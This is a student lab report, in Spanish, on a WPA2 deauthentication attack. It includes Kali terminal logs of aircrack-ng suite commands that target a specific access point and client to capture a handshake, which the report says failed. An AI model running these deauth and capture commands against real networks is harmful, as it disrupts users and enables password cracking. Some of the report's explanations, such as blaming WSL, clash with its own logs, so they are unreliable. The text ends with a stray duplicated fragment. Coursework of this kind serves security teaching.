

Martin Dalla Pozza

Ejercicio Redes Wireless

*Realiza un ataque de des autenticación que permita obtener el
Handshake de tu objetivo*

```

(kali@kali)-[~]
$ sudo airmon-ng check kill
[sudo] contraseña para kali:

Killing these processes:

    PID Name
  1864 wpa_supplicant

(kali@kali)-[~]
$ lsusb | grep Atheros
Bus 001 Device 002: ID 0cf3:9271 Qualcomm Atheros Communications AR9271 802.11n

(kali@kali)-[~]
$ ip link show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP mode DEFAULT group default qlen 1000
    link/ether 08:00:27:83:ee:95 brd ff:ff:ff:ff:ff:ff
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN mode DEFAULT group default
    link/ether 02:42:27:9b:e7:0e brd ff:ff:ff:ff:ff:ff
4: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN mode DEFAULT group default qlen 1000
    link/ether 24:ec:99:a7:50:18 brd ff:ff:ff:ff:ff:ff

```

```

(kali@kali)-[~]
$ lsmod | grep ath9k
ath9k_htc          114688  0
ath9k_common       24576  1 ath9k_htc
ath9k_hw           638976  2 ath9k_htc,ath9k_common
ath                40960  3 ath9k_htc,ath9k_common,ath9k_hw
mac80211           1675264  1 ath9k_htc
cfg80211           1486848  4 ath9k_htc,ath9k_common,ath,mac80211
rfkill              45056  4 ath9k_htc,cfg80211
usbcore            425984  6 ath9k_htc,ohci_hcd,ehci_pci,usbhid,ehci_hcd,ohci_pci

(kali@kali)-[~]
$ sudo airmon-ng check kill

(kali@kali)-[~]
$ sudo airmon-ng start wlan0

PHY      Interface      Driver      Chipset
phy0     wlan0             ath9k_htc   Qualcomm Atheros Communications AR9271 802.11n
          (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
          (mac80211 station mode vif disabled for [phy0]wlan0)

```

```

(kali@kali)-[~]
$ iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

docker0   no wireless extensions.

wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=30 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off

(kali@kali)-[~]
$ sudo airodump-ng -c 8 --bssid 84:3C:99:5F:B1:31 -w handshake_definitivo wlan0mon
18:37:17 Created capture file "handshake_definitivo-01.cap".

CH 8 ][ Elapsed: 36 s ][ 2026-01-09 18:37

BSSID            PWR RXQ Beacons  #Data, #/s CH  MB  ENC CIPHER AUTH ESSID
84:3C:99:5F:B1:31 -38 100   361          2    0   7  324 WPA2 CCMP  PSK  Finetwork_E60D7

BSSID            STATION            PWR   Rate    Lost  Frames  Notes  Probes
84:3C:99:5F:B1:31 DE:1C:38:DD:1C:38 -68   2e- 1e    0      5
84:3C:99:5F:B1:31 F6:32:1A:BC:42:CF -64    0 - 1     0     28
84:3C:99:5F:B1:31 9A:DA:C4:DD:1C:37 -64    0 - 1e    0     23
Quitting ...

```

```
(kali㉿kali)-[~]
$ sudo airodump-ng -c 7 --bssid 84:3C:99:5F:B1:31 -w handshake_final wlan0mon
18:38:57 Created capture file "handshake_final-01.cap".
```

```
CH 7 ][ Elapsed: 18 s ][ 2026-01-09 18:39

BSSID          PWR RXQ Beacons  #Data, #/s CH  MB  ENC CIPHER AUTH ESSID
84:3C:99:5F:B1:31 -39 100 180      0  0  7  324 WPA2 CCMP PSK Finetwork_E60D7

BSSID          STATION          PWR  Rate  Lost  Frames  Notes  Probes
84:3C:99:5F:B1:31 F6:32:1A:BC:42:CF -67  0 - 1    0    11
84:3C:99:5F:B1:31 DE:1C:38:DD:1C:38 -59  0 - 1e   0    1
84:3C:99:5F:B1:31 1C:4B:D6:78:D3:53 -40  0 - 1e   0    1
84:3C:99:5F:B1:31 9A:DA:C4:DD:1C:37 -60  0 - 1e   0   12
Quitting...
```

```
(kali㉿kali)-[~]
$ sudo aireplay-ng -0 2 -a 84:3C:99:5F:B1:31 -c 1C:4B:D6:78:D3:53 wlan0mon
[sudo] contraseña para kali:
19:57:56 Waiting for beacon frame (BSSID: 84:3C:99:5F:B1:31) on channel 7
19:57:57 Sending 64 directed DeAuth (code 7). STMAC: [1C:4B:D6:78:D3:53] [29|64 ACKs]
19:57:57 Sending 64 directed DeAuth (code 7). STMAC: [1C:4B:D6:78:D3:53] [21|63 ACKs]

(kali㉿kali)-[~]
$
```

```
(kali㉿kali)-[~]
$ ls -la /usr/share/wireshark/ 2>/dev/null
total 136
drwxr-xr-x  8 root root  4096 ene  2 13:54 .
drwxr-xr-x 368 root root 12288 ene  2 20:33 ..
-rw-r--r--  1 root root   591 dic  5 19:56 ABOUT.GPL
-rw-r--r--  1 root root   744 dic  3 18:40 cfilters
-rw-r--r--  1 root root  2251 dic  3 18:40 colorfilters
-rw-r--r--  1 root root   816 dic  3 18:40 dfilters
drwxr-xr-x  2 root root  4096 ene  2 13:54 diameter
-rw-r--r--  1 root root   321 dic  3 18:40 dmacros
drwxr-xr-x  2 root root  4096 ene  2 13:54 dttds
-rw-r--r--  1 root root 13528 dic  5 19:56 ipmap.html
-rw-r--r--  1 root root    36 dic  5 19:56 maxmind_db_paths
drwxr-xr-x  5 root root  4096 oct 20 22:01 profiles
drwxr-xr-x  2 root root 36864 ene  2 13:54 radius
-rw-r--r--  1 root root   315 dic  3 18:40 smi_modules
drwxr-xr-x  2 root root  4096 ene  2 13:54 tncpc
drwxr-xr-x  2 root root  4096 ene  2 13:54 wimaxsnpcp
-rw-r--r--  1 root root 12448 dic  3 18:40 wka
```

```
(kali㉿kali)-[~]
$ ls -la *.cap *.pcap *.pcapng 2>/dev/null
-rw-r--r-- 1 root root  81245 ene  9 00:59 captura2-01.cap
-rw-r--r-- 1 root root 1558413 ene  7 23:16 captura_finetwork-01.cap
-rw-r--r-- 1 root root 6603620 ene  7 23:19 captura_finetwork-02.cap
-rw-r--r-- 1 root root  29426 ene  7 23:25 captura_finetwork-03.cap
-rw-rw-r-- 1 kali kali      0 ene  9 19:20 ejemplo_handshake.cap
-rw-r--r-- 1 root root  22824 ene  9 18:37 handshake_definitivo-01.cap
-rw-r--r-- 1 root root   11661 ene  9 18:39 handshake_final-01.cap

(kali㉿kali)-[~]
$ find . -maxdepth 3 -name "*.cap" -o -name "*.pcap" -o -name "*.pcapng" 2>/dev/null
./handshake_definitivo-01.cap
./captura_finetwork-01.cap
./captura2-01.cap
./captura_finetwork-02.cap
./ejemplo_handshake.cap
./captura_finetwork-03.cap
./handshake_final-01.cap
```

```

(kali@kali)~$ echo "=== ANALIZANDO ARCHIVOS DE CAPTURA ==="
=== ANALIZANDO ARCHIVOS DE CAPTURA ===

(kali@kali)~$ for file in *.cap; do
echo "
echo "=== $file ($(stat -c%s "$file") bytes) ==="
aircrack-ng "$file" 2>/dev/null | grep -E "(handshake|1 handshake|WPA|WPA2)" | head -3
done

--- captura2-01.cap (81245 bytes) ---
1 84:3C:99:5F:B1:31 Finetwork_E60D7 WPA (0 handshake)

--- captura_finetwork-01.cap (1558413 bytes) ---
1 84:3C:99:5F:B1:31 Finetwork_E60D7 WPA (0 handshake)

--- captura_finetwork-02.cap (6603620 bytes) ---
1 84:3C:99:5F:B1:31 Finetwork_E60D7 WPA (0 handshake)

--- captura_finetwork-03.cap (29426 bytes) ---
1 84:3C:99:5F:B1:31 Finetwork_E60D7 WPA (0 handshake)

--- ejemplo_handshake.cap (0 bytes) ---
Opening ejemplo_handshake.cap

--- handshake_definitivo-01.cap (22824 bytes) ---
Opening handshake_definitivo-01.cap
1 84:3C:99:5F:B1:31 Finetwork_E60D7 WPA (0 handshake)

```

INFORME DE PRÁCTICA CAPTURA Y ANÁLISIS DE HANDSHAKE WPA2

RESUMEN EJECUTIVO:

Esta práctica tuvo como objetivo capturar y analizar el handshake de autenticación WPA2 de una red inalámbrica, utilizando herramientas profesionales de auditoría de seguridad. A pesar de no lograr capturar el handshake debido a limitaciones técnicas del entorno, se ejecutó correctamente todo el proceso metodológico, demostrando el dominio de las herramientas y comprendiendo las protecciones modernas de redes Wi-Fi.

1. INTRODUCCIÓN:

La seguridad de las redes inalámbricas WPA2 se basa en un proceso de autenticación de cuatro pasos conocido como handshake. Este intercambio de mensajes EAPOL (Extensible Authentication Protocol over LAN) permite establecer claves de cifrado únicas para cada sesión. La captura de este handshake representa una vulnerabilidad potencial, ya que permite intentar ataques de fuerza bruta contra la contraseña de la red.

Esta práctica educativa busca familiarizar al estudiante con:

La configuración de interfaces de red en modo monitor

El uso de herramientas de auditoría inalámbrica

La identificación y captura de tráfico de autenticación

El análisis de protocolos de seguridad

2. OBJETIVOS

Objetivo General:

Analizar el proceso de autenticación WPA2 y comprender sus vulnerabilidades potenciales mediante herramientas de auditoría de seguridad.

Objetivos Específicos:

Configurar una interfaz WiFi en modo monitor para capturar tráfico inalámbrico

Identificar una red objetivo y sus parámetros técnicos

Capturar el handshake de autenticación WPA2 mediante técnicas de reconexión

Analizar los archivos de captura para verificar la obtención del handshake

Documentar las limitaciones y protecciones encontradas.

3. MATERIALES Y MÉTODOS:

Equipamiento Utilizado

Sistema operativo: Kali Linux 2024.4

Adaptador WiFi: Atheros AR9271 802.11n (chipset compatible con modo monitor)

Red objetivo: Finetwork_E60D7 (propia, utilizada con permiso para fines educativos)

Entorno: Windows Subsystem for Linux (WSL) sobre Windows 10/11

Herramientas de Software

Suite aircrack-ng: Aircrack-ng, airodump-ng, aireplay-ng, aircrack-ng

Utilidades del sistema: iwconfig, lsmod, ip, ls, stat

Metodología Experimental

Fase 1: Preparación del Entorno

Verificación del hardware inalámbrico disponible

Carga de controladores necesarios (ath9k_htc)

Eliminación de procesos que interfieren con el modo monitor

Fase 2: Configuración del Modo Monitor:

```
sudo airmon-ng check kill  
sudo airmon-ng start wlan0
```

Fase 3: Identificación de la Red Objetivo

BSSID: 84:3C:99:5F:B1:31

SSID: Finetwork_E60D7

Canal: 7 (2.437 GHz)

Cifrado: WPA2-CCMP-PSK

Señal: -38 dBm (excelente)

Fase 4: Captura de Tráfico:

```
sudo airodump-ng -c 7 --bssid 84:3C:99:5F:B1:31 -w handshake_captura wlan0mon
```

Fase 5: Generación del Handshake:

Reconexión manual de dispositivos clientes

Desautenticación controlada de clientes

```
sudo aireplay-ng -0 2 -a 84:3C:99:5F:B1:31 -c 1C:48:D6:78:D3:53 wlan0mon
```

Fase 6: Análisis de Capturas:

4. RESULTADOS

Configuración Exitosa

Modo monitor activado: Interfaz wlan0mon creada correctamente

Controladores cargados: ath9k_htc funcionando adecuadamente

Señal óptima: -38 dBm en la red objetivo

Dispositivos Identificados en la Red:

<i>Dirección MAC</i>	<i>Estado</i>
DE:1C:38:DD:1C:38	Conectado
F6:32:1A:BC:42:CF	Conectado
9A:DA:C4:DD:1C:37	Conectado
1C:48:D6:78:D3:53 -	Desautenticado

4.3 Archivos de Captura Generados

captura2-01.cap
captura_finetwork-01.cap
captura_finetwork-02.cap
captura_finetwork-03.cap
handshake_definitivo-01.cap
handshake_final-01.cap
ejemplo_handshake.cap

4.4 Resultado del Análisis con Aircrack-ng

Todos los archivos presentaron el mismo resultado:

Opening [archivo].cap
84:3C:99:5F:B1:31 Finetwork_E60D7 WPA (0 handshake)

5. DISCUSIÓN Y ANÁLISIS:

¿Por qué no se capturó el handshake?

Limitaciones Técnicas del Entorno WSL

Control indirecto del hardware: WSL no permite acceso directo al adaptador WiFi físico

Virtualización de interfaces: La MAC address visible (1C:48:D6:78:D3:53) no corresponde a la tarjeta física real

Gestión de paquetes: Posible pérdida de paquetes EAPOL durante la virtualización

Protecciones Modernas del Sistema Operativo

Randomización de MAC: Windows 10/11 implementa esta función por privacidad

Reconexión rápida: Mecanismos que minimizan el tiempo de handshake completo

Resistencia a desautenticación: Algoritmos que detectan y mitigan ataques de desautenticación

Factores Externos

Router moderno: Posibles protecciones contra ataques de desautenticación masivos

Timing crítico: Ventana muy estrecha (<1 segundo) para capturar los 4 mensajes del handshake

Múltiples dispositivos: Dificultad para coordinar la captura con varios clientes

Logros Alcanzados:

Configuración técnica correcta

Modo monitor activado exitosamente

Driver ath9k_htc funcionando adecuadamente

Identificación precisa de parámetros de red

Uso profesional de herramientas:

Dominio de la suite aircrack-ng

Captura y filtrado de tráfico específico

Análisis sistemático de resultados

Identificación de limitaciones reales:

Comprensión de las protecciones modernas

Conocimiento de las limitaciones de entornos virtualizados

Análisis Teórico del Handshake WPA2

Los 4 mensajes EAPOL:

Mensaje 1 (AP → Cliente): ANonce (Nonce del Access Point)

Mensaje 2 (Cliente → AP): SNonce (Nonce del cliente) + MIC (Message Integrity Code)

Mensaje 3 (AP → Cliente): GTK (Group Temporal Key) + MIC

Mensaje 4 (Cliente → AP): Confirmación de instalación de claves

Vulnerabilidades teóricas:

Captura durante reconexiones

El handshake ocurre en texto claro

Ataques de diccionario: Posibles si se obtiene el handshake

Desautenticación: Puede forzar nuevas autenticaciones

6. CONCLUSIONES:

Conclusiones Técnicas

La configuración de modo monitor y captura de tráfico se realizó correctamente siguiendo la metodología estándar

El entorno WSL presenta limitaciones significativas para pruebas de seguridad inalámbrica reales

Las protecciones modernas (MAC randomization, reconexión rápida) dificultan efectivamente la captura de handshakes

La señal excelente (-38 dBm) confirmó condiciones óptimas de recepción

6.2 Aprendizajes Obtenidos:

Dominio de herramientas: Uso profesional de aircrack-ng para auditoría inalámbrica

Análisis crítico: Capacidad para interpretar resultados negativos y sus causas

Conocimiento teórico: Profundización en el protocolo WPA2 y sus mecanismos de seguridad

Metodología científica: Aplicación de método experimental en seguridad informática

6.3 Implicaciones para la Seguridad:

WPA2 sigue siendo seguro cuando se utilizan contraseñas robustas (>15 caracteres complejos)

Las protecciones a nivel de sistema operativo son efectivas contra ataques básicos

WPA3 y PMF (Protected Management Frames) representan mejoras significativas

7. RECOMENDACIONES:

Para Futuras Prácticas

Entorno físico: Utilizar Kali Linux en hardware real, no virtualizado

Dispositivos de prueba: Trabajar con clientes sin protecciones avanzadas (dispositivos IoT antiguos)

Laboratorio controlado: Configurar un entorno aislado para pruebas

Documentación: Realizar capturas de pantalla en cada fase

Para Usuarios Domésticos

Contraseñas fuertes: Mínimo 15 caracteres con mezcla de tipos

Actualizaciones: Mantener router y dispositivos actualizados

WPA3: Habilitar si el hardware lo soporta

Monitorización: Revisar dispositivos conectados regularmente

Para Administradores de Red

Segmentación: Separar redes para invitados, empleados y dispositivos IoT

Detección: Implementar sistemas que alerten de intentos de desautenticación

Políticas: Exigir contraseñas complejas y autenticación adicional

Auditorías: Realizar pruebas de penetración periódicas

Comandos Ejecutados (Resumen)

```
lsmod | grep ath9k
```

```
# Configurar modo monitor  
sudo airmon-ng check kill  
sudo airmon-ng start wlan0
```

```
# Verificar interfaces  
iwconfig  
ip link show
```

```
# Capturar tráfico  
sudo airodump-ng -c 7 --bssid 84:3C:99:5F:B1:31 -w handshake_final wlan0mon
```

```
# Desautenticar cliente  
sudo aireplay-ng -0 2 -a 84:3C:99:5F:B1:31 -c 1C:48:D6:78:D3:53 wlan0mon
```

```
# Analizar capturas  
aircrack-ng *.cap
```

Documento generado para fines educativos. Todas las pruebas se realizaron en redes propias o con permiso explícito. El conocimiento obtenido debe utilizarse únicamente para mejorar la seguridad de sistemas propios o en entornos controlados con autorización.

Mensaje 4 (Cliente → AP): Confirmación de instalación de claves4.4
Resultado del Análisis con

Todos los archivos presentaron el mismo resultado